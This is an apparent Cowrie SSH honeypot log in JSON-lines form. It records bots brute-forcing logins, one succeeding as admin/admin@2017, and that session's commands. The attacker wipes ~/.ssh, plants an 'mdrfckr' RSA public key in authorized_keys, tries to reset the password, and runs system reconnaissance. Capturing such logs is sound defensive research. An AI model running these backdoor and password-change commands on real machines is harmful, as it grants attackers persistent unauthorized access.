{"eventid":"cowrie.login.success","username":"admin","password":"admin@2017","message":"login attempt [admin/admin@2017] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.073994Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.151531Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.155069Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.159366Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.184598Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.284719Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.288138Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.311312Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.315459Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":43464,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e093e6a178d","protocol":"ssh","message":"New connection: 198.98.56.227:43464 (10.17.0.5:22) [session: 6e093e6a178d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.321589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.325864Z","src_ip":"198.98.56.227","session":"6e093e6a178d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.349934Z","src_ip":"198.98.56.227","session":"6e093e6a178d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:37.419340Z","src_ip":"198.98.56.227","session":"6e093e6a178d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:38.431523Z","src_ip":"198.98.56.227","session":"6e093e6a178d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":44002,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d1b1b98eb3","protocol":"ssh","message":"New connection: 198.98.56.227:44002 (10.17.0.5:22) [session: f4d1b1b98eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:38.435902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:38.439996Z","src_ip":"198.98.56.227","session":"f4d1b1b98eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:38.454137Z","src_ip":"198.98.56.227","session":"f4d1b1b98eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:38.524629Z","src_ip":"198.98.56.227","session":"f4d1b1b98eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.545719Z","src_ip":"198.98.56.227","session":"f4d1b1b98eb3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.611922Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.615645Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.634435Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.703518Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2017\\nrAUrzMkzmO2S\\nrAUrzMkzmO2S\"|passwd|bash","message":"CMD: echo -e \"admin@2017\\nrAUrzMkzmO2S\\nrAUrzMkzmO2S\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.707323Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.711205Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.714557Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4dc5219e477f66397d0b9f29ad31996a6a72378c6439c8d15c2a53a617585383","size":32,"shasum":"4dc5219e477f66397d0b9f29ad31996a6a72378c6439c8d15c2a53a617585383","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/4dc5219e477f66397d0b9f29ad31996a6a72378c6439c8d15c2a53a617585383 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.734324Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.804599Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2017\\nrAUrzMkzmO2S\\nrAUrzMkzmO2S\\n\"|passwd","message":"CMD: echo \"admin@2017\\nrAUrzMkzmO2S\\nrAUrzMkzmO2S\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.808302Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e6c3a454f1c77f6fa62a8cca686f60709540d354b01a1eb638a39bc184c04fab","size":25,"shasum":"e6c3a454f1c77f6fa62a8cca686f60709540d354b01a1eb638a39bc184c04fab","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/e6c3a454f1c77f6fa62a8cca686f60709540d354b01a1eb638a39bc184c04fab after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.825025Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.884680Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.889071Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":45776,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d26790da0db","protocol":"ssh","message":"New connection: 50.225.176.238:45776 (10.17.0.5:22) [session: 1d26790da0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.901981Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.912267Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.920050Z","src_ip":"50.225.176.238","session":"1d26790da0db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.932061Z","src_ip":"50.225.176.238","session":"1d26790da0db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.996343Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:39.999840Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.020967Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.084108Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.088804Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.092554Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.113070Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123321","message":"login attempt [guest/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.126257Z","src_ip":"50.225.176.238","session":"1d26790da0db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.196943Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.200555Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.218195Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.277395Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.281875Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.300019Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.384004Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.387496Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.402846Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.479571Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:50:40.482781Z","src_ip":"198.98.56.227","session":"f5153a5d0924","protocol":"ssh"}
